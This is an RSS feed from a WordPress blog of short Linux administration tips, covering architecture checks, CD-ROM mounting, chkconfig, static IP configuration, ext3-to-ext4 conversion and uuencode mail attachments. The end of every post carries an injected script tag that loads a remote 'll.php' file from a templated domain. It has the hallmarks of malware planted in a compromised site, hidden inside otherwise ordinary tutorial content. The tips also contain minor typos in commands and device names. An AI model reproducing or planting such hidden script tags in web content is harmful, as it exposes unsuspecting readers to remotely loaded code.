<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Oracle Database Administration Blog &#187; Linux Administration</title>
	<atom:link href="http://www.bestremotedba.com/topics/unix-linux-administration/linux-administration-unix-linux-administration/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.bestremotedba.com</link>
	<description>Specially Created for Remote DBAs and Junior DBAs</description>
	<lastBuildDate>Fri, 30 Dec 2011 05:43:39 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>How to know Linux machine is 32 or 64 bit?</title>
		<link>http://www.bestremotedba.com/how-to-know-linux-machine-is-32-or-64-bit/</link>
		<comments>http://www.bestremotedba.com/how-to-know-linux-machine-is-32-or-64-bit/#comments</comments>
		<pubDate>Wed, 02 Feb 2011 05:01:37 +0000</pubDate>
		<dc:creator>mudhalvan</dc:creator>
				<category><![CDATA[Linux Administration]]></category>
		<category><![CDATA[Unix-Linux Administration]]></category>
		<category><![CDATA[How to know Linux machine is 32 or 64 bit?]]></category>
		<category><![CDATA[Linux machine is 32 or 64 bit?]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=882</guid>
		<description><![CDATA[How to know Linux machine is 32 or 64 bit?]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>How to know Linux machine is 32 or 64 bit?</p>
<p># uname -m</p>
<p>i386 or i686 then it is 32 bit<br />
x86_64 is 64bit<br />
<script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/how-to-know-linux-machine-is-32-or-64-bit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to Detect and Mount the CD-ROM in Linux</title>
		<link>http://www.bestremotedba.com/how-to-detect-and-mount-the-cd-rom-in-linux/</link>
		<comments>http://www.bestremotedba.com/how-to-detect-and-mount-the-cd-rom-in-linux/#comments</comments>
		<pubDate>Wed, 16 Jun 2010 22:13:10 +0000</pubDate>
		<dc:creator>mudhalvan</dc:creator>
				<category><![CDATA[Linux Administration]]></category>
		<category><![CDATA[Unix-Linux Administration]]></category>
		<category><![CDATA[How to Detect and Mount the CD-ROM in Linux]]></category>
		<category><![CDATA[mount the cdrom in linux]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=758</guid>
		<description><![CDATA[How to Detect and Mount the CD-ROM in Linux]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>How to Detect and Mount the CD-ROM in Linux</p>
<p>1. Detecting CD-ROM/DVD-ROM drive<br />
# wodim &#8211;devices </p>
<p>[lokesh@Mudhalvan ~]$ wodim &#8211;devices<br />
wodim: Overview of accessible drives (1 found) :<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
 0  dev=&#8217;/dev/scd0&#8242;     rwrw&#8211; : &#8216;HL-DT-ST&#8217; &#8216;RW/DVD GCC-4243N&#8217;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
[lokesh@Mudhalvan ~]$ </p>
<p>2. Testing for iso9660 compatibility<br />
# cat /proc/filesystems </p>
<p>3. Creating mount point<br />
# mkdir /media/cdrom</p>
<p>4. Mounting CD<br />
# mount -t iso9660 /dev/scd0 /media/cdrom/ </p>
<p>5. Altering /etc/fstab<br />
/dev/sdc0        /media/cdrom   iso9660 ro,user,noauto  0       0 </p>
<p>6. Unmount and eject CD<br />
# unmout /dev/sdc0<br />
# eject <script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/how-to-detect-and-mount-the-cd-rom-in-linux/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>chkconfig &#8211; Linux Service Auto Start/Stop</title>
		<link>http://www.bestremotedba.com/chkconfig-linux-service-auto-startstop/</link>
		<comments>http://www.bestremotedba.com/chkconfig-linux-service-auto-startstop/#comments</comments>
		<pubDate>Thu, 04 Mar 2010 07:13:23 +0000</pubDate>
		<dc:creator>mudhalvan</dc:creator>
				<category><![CDATA[Linux Administration]]></category>
		<category><![CDATA[chkconfig]]></category>
		<category><![CDATA[chkconfig - Linux Service Auto Start/Stop]]></category>
		<category><![CDATA[Linux Service Auto Start/Stop]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/chkconfig-linux-service-auto-startstop/</guid>
		<description><![CDATA[chkconfig - Linux Service Auto Start/Stop]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>chkconfig &#8211; Linux Service Auto Start/Stop </p>
<p>The chkconfig command can be used to activate and deactivate services. If you use the chkconfig &#8211;list command, you will see a list of system services and whether they are started (on) or stopped (off) in runlevels 0-6 </p>
<p># chkconfig<br />
chkconfig version 1.3.30.1 &#8211; Copyright (C) 1997-2000 Red Hat, Inc.<br />
This may be freely redistributed under the terms of the GNU Public License.</p>
<p>usage:   chkconfig &#8211;list [name]<br />
         chkconfig &#8211;add <name><br />
         chkconfig &#8211;del <name><br />
         chkconfig [--level <levels>] <name> <on|off|reset|resetpriorities></p>
<p>1. chkconfig &#8211;list <servicename> &#8211; will query any service in /etc/rc.d with each runlevel</p>
<p>		$ chkconfig &#8211;list anacron<br />
			anacron         0:off   1:off   2:on    3:on    4:on    5:on    6:off</p>
<p>2. chkconfig &#8211;level <0/1/2/3/4/5/6> <servicename> <on/off> &#8211; Will be used to auto start/stop the service at each run level</p>
<p>	chkconfig can be used to set a service to be started (or not) in a specific runlevel. </p>
<p>For example, to turn ntpd off in runlevels 3, 4, and 5, use the command: </p>
<p>	chkconfig &#8211;level 345 ntpd off<script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/chkconfig-linux-service-auto-startstop/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to check the Disk devices attached to the Linux Server</title>
		<link>http://www.bestremotedba.com/how-to-check-the-disk-devices-attached-to-the-linux-server/</link>
		<comments>http://www.bestremotedba.com/how-to-check-the-disk-devices-attached-to-the-linux-server/#comments</comments>
		<pubDate>Wed, 10 Feb 2010 07:32:14 +0000</pubDate>
		<dc:creator>mudhalvan</dc:creator>
				<category><![CDATA[Linux Administration]]></category>
		<category><![CDATA[How to check the Disk devices attached to the Linux Server]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/how-to-check-the-disk-devices-attached-to-the-linux-server/</guid>
		<description><![CDATA[How to check the Disk devices attached to the Linux Server]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>How to check the Disk devices attached to the Linux Server</p>
<p>[oracle@RAC01 software]$ dmesg | grep Attached<br />
<script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/how-to-check-the-disk-devices-attached-to-the-linux-server/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linux DHCP  to Static IP Address</title>
		<link>http://www.bestremotedba.com/linux-dhcp-to-static-ip-address/</link>
		<comments>http://www.bestremotedba.com/linux-dhcp-to-static-ip-address/#comments</comments>
		<pubDate>Fri, 05 Feb 2010 04:50:54 +0000</pubDate>
		<dc:creator>mudhalvan</dc:creator>
				<category><![CDATA[Linux Administration]]></category>
		<category><![CDATA[Dynamic IP address to Static IP address]]></category>
		<category><![CDATA[Linux DHCP to Static IP Address]]></category>
		<category><![CDATA[Static IP address to DHCP]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=551</guid>
		<description><![CDATA[Linux DHCP  to Static IP Address]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;Linux DHCP  to Static IP Address</p>
<p>	/etc/hosts &#8211; This is for Hostname and IP address<br />
	/etc/resolv.conf &#8211; This is for DNS<br />
	/etc/sysconfig/network &#8211; This is for Gateway change<br />
	/etc/sysconfig/network-scripts/ifcfg-eth0 &#8211; IP,Subnet and Type</p>
<p>1. Host Name and IP information change in /etc/hosts file<br />
[root@RAC01 etc]# pwd<br />
/etc<br />
[root@RAC01 etc]# cat hosts<br />
# Do not remove the following line, or various programs<br />
# that require network functionality will fail.<br />
127.0.0.1 localhost.localdomain localhost<br />
192.168.5.80 rac01.localdomain rac01</p>
<p>2. Static IP address information update in Device file</p>
<p>[root@RAC01 network-scripts]# pwd<br />
/etc/sysconfig/network-scripts<br />
[root@RAC01 network-scripts]#<br />
&#8212; Before Change<br />
[root@RAC01 network-scripts]# cat ifcfg-eth0<br />
# Intel Corporation 82545EM Gigabit Ethernet Controller (Copper)<br />
DEVICE=eth0<br />
BOOTPROTO=dhcp<br />
HWADDR=00:0C:29:6C:66:60<br />
ONBOOT=yes<br />
DHCP_HOSTNAME=RAC01<br />
[root@RAC01 network-scripts]#</p>
<p>&#8212; After Change<br />
[root@RAC01 network-scripts]# cat ifcfg-eth0<br />
# Intel Corporation 82545EM Gigabit Ethernet Controller (Copper)<br />
DEVICE=eth0<br />
BOOTPROTO=static<br />
IPADDR=192.168.5.80<br />
NETMASK=255.255.248.0<br />
HWADDR=00:0C:29:6C:66:60<br />
ONBOOT=yes</p>
<p>3. DNS information update &#8211; Resolv.conf file  &#8211; No Change required as it is in the same DNS</p>
<p>[root@RAC01 etc]# cat resolv.conf<br />
; generated by /sbin/dhclient-script<br />
nameserver 192.168.1.1<br />
nameserver 192.168.2.1<br />
[root@RAC01 etc]#</p>
<p>4. Gateway information<br />
&#8212;Before Change<br />
[root@RAC01 sysconfig]# pwd<br />
/etc/sysconfig<br />
[root@RAC01 sysconfig]# cat network<br />
NETWORKING=yes<br />
NETWORKING_IPV6=no<br />
HOSTNAME=RAC01<br />
[root@RAC01 sysconfig]#</p>
<p>&#8212; After Change<br />
[root@RAC01 sysconfig]# pwd<br />
/etc/sysconfig<br />
[root@RAC01 sysconfig]# cat network<br />
NETWORKING=yes<br />
NETWORKING_IPV6=no<br />
HOSTNAME=RAC01<br />
GATEWAY=192.168.0.3<br />
[root@RAC01 sysconfig]#<br />
<script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/linux-dhcp-to-static-ip-address/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Change the IP address in Linux Machine</title>
		<link>http://www.bestremotedba.com/change-the-ip-address-in-linux-machine/</link>
		<comments>http://www.bestremotedba.com/change-the-ip-address-in-linux-machine/#comments</comments>
		<pubDate>Fri, 05 Feb 2010 02:52:53 +0000</pubDate>
		<dc:creator>mudhalvan</dc:creator>
				<category><![CDATA[Linux Administration]]></category>
		<category><![CDATA[Change the IP address in Linux Machine]]></category>
		<category><![CDATA[Dynamic IP to Static IP]]></category>
		<category><![CDATA[Static IP to Dynamic IP]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=548</guid>
		<description><![CDATA[Change the IP address in Linux Machine ]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>You have to change the following files. </p>
<p>	/etc/hosts &#8211; This is for Hostname and IP address<br />
	/etc/resolv.conf &#8211; This is for DNS<br />
	/etc/sysconfig/network &#8211; This is for Gateway change<br />
	/etc/sysconfig/network-scripts/ifcfg-eth0 &#8211; IP,Subnet and Type</p>
<p>/etc/hosts<br />
/etc/nodenames<br />
/etc/hostname.[device]<br />
/etc/defaultrouter<br />
/etc/defaultdomain<br />
/etc/nodename<script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/change-the-ip-address-in-linux-machine/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hardware device information in Linux</title>
		<link>http://www.bestremotedba.com/hardware-device-information-in-linux/</link>
		<comments>http://www.bestremotedba.com/hardware-device-information-in-linux/#comments</comments>
		<pubDate>Mon, 21 Dec 2009 05:10:49 +0000</pubDate>
		<dc:creator>aarthimudhalvan</dc:creator>
				<category><![CDATA[Linux Administration]]></category>
		<category><![CDATA[Hardware device information in Linux]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/hardware-device-information-in-linux/</guid>
		<description><![CDATA[Basically manufacturer of the Card and Serial Number and Name or identifier of the Device. You can get the card details [and all other hardware details] with &#8216;lspci -vvv&#8217; command. But this may not show the serial number. You may have to check the card physically, to get the serial number.]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>Basically manufacturer of the Card and Serial Number and Name or identifier of the Device.<br />
You can get the card details [and all other hardware details] with &#8216;lspci -vvv&#8217; command. But this may not show the serial number. You may have to check the card physically, to get the serial number.  <script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/hardware-device-information-in-linux/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Convert from ext3 to ext4</title>
		<link>http://www.bestremotedba.com/convert-from-ext3-to-ext4/</link>
		<comments>http://www.bestremotedba.com/convert-from-ext3-to-ext4/#comments</comments>
		<pubDate>Mon, 23 Nov 2009 00:53:48 +0000</pubDate>
		<dc:creator>mudhalvan</dc:creator>
				<category><![CDATA[Linux Administration]]></category>
		<category><![CDATA[Convert from ext3 to ext4]]></category>
		<category><![CDATA[ext3 to ext4]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=387</guid>
		<description><![CDATA[Convert from ext3 to ext4]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>Convert from ext3 to ext4</p>
<p>WARNING! Once you run following commands, the filesystem will no longer be mountable using the ext3. Please note that ext4 may have some bugs so do not use for production servers (wait for sometime watch Linux kernel mailing list for ext4 bugs). It&#8217;s recommended that you keep /boot in a ext3 partition for sometime.<br />
You need ext4 patch applied into kernel and compile kernel with ext4 support. Once done type the following command to convert an existing ext3 filesystem to use ext4, type:</p>
<p># tune2fs -O extents,uninit_bg,dir_index /dev/dev-name<br />
For example convert /dev/sdb1 to ext4, enter:</p>
<p># cd /; umount /dev/sdb1<br />
# tune2fs -O extents,uninit_bg,dir_index /dev/sdb1<br />
Next run fsck, enter:</p>
<p># fsck -pf /dev/sdb1<br />
How do I mount ext4 partition?<br />
mount -t ext4 /dev/sdb1 /path<br />
mount -t ext4 /dev/sdb1 /share<br />
mount -t ext4 /dev/disk/by-uuid/YOUR-PARTITION-UUID /share<br />
<script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/convert-from-ext3-to-ext4/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ext4 Linux File System</title>
		<link>http://www.bestremotedba.com/ext4-linux-file-system/</link>
		<comments>http://www.bestremotedba.com/ext4-linux-file-system/#comments</comments>
		<pubDate>Mon, 23 Nov 2009 00:50:59 +0000</pubDate>
		<dc:creator>mudhalvan</dc:creator>
				<category><![CDATA[Linux Administration]]></category>
		<category><![CDATA[ext4]]></category>
		<category><![CDATA[ext4 Linux File System]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=385</guid>
		<description><![CDATA[ext4 Linux File System]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>ext4 Linux File System<br />
The ext4 filesystem has more features and generally better performance than ext3, which is showing its age in the Linux filesystem world.<br />
Features include:<br />
Delayed allocation &#038; mballoc allocator for better on-disk allocation<br />
    * Sub-second timestamps<br />
    * Space preallocation<br />
    * Journal checksumming<br />
    * Large (>2T) file support<br />
    * Large (>16T) filesystem support<br />
    * Defragmentation support<script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/ext4-linux-file-system/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>UUENCODE &#8211; Email attachment</title>
		<link>http://www.bestremotedba.com/uuencode-email-attachment/</link>
		<comments>http://www.bestremotedba.com/uuencode-email-attachment/#comments</comments>
		<pubDate>Sun, 11 Oct 2009 14:09:52 +0000</pubDate>
		<dc:creator>mudhalvan</dc:creator>
				<category><![CDATA[Linux Administration]]></category>
		<category><![CDATA[Unix-Linux Administration]]></category>
		<category><![CDATA[UUENCODE - Email attachment]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=236</guid>
		<description><![CDATA[UUENCODE - Email attachment]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>UUENCODE:</p>
<p>- to email attachments</p>
<p>- example</p>
<p>   file_str=/export/home/oracle/dba/log/temp/<existing_text_file>.txt<br />
   new_str=/export/home/oracle/dba/log/temp/<new_attachment>.xls<br />
   uuencode ${file_str} ${new_str} | mailx -s &#8220;<subject>&#8221; <email_address><script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/uuencode-email-attachment/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

